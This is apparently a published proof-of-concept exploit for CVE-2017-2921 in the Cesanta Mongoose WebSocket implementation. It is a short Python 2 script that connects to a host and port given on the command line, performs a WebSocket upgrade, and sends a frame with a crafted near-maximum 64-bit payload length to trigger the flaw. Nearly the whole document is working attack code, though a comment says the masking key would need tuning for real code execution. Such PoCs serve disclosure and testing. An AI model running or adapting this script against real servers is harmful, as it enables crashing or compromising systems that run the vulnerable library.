Cesanta Mongoose Websocket Protocol Packet Length Code Execution Vulnerability(CVE-2017-2921)

                                                import socket
import struct
import sys
http_upgrade = ('GET /chat HTTP/1.1\r\n'
              'Host: server.example.com\r\n'
              'Upgrade: websocket\r\n'
              'Connection: Upgrade\r\n'
              'Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==\r\n'
              'Sec-WebSocket-Protocol: chat, superchat\r\n'
              'Sec-WebSocket-Version: 13\r\n'
              'Origin: http://example.com\r\n\r\n')
#only HTTP "Upgrade: websocket" header matters above, the above GET request was copied verbatim from wikipedia


payload = "\x00" # FIN flag doesn't matter, opcode doesn't matter
payload += chr(0x80 | 127 ) # mask is set, payload len of 127 means next 64 bits are actual payload len
payload_len = 0xffffffffffffffff -12   #actual payload len
payload += struct.pack("!Q",payload_len)
masking_key = 0 #masking key can be anything, and would need to be a specific value in real exploit
payload += struct.pack("I",masking_key)
payload += "A"*40 #garbage to pad the packet


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))
s.send(http_upgrade)
print s.recv(1024)
s.send(payload)
print s.recv(1024)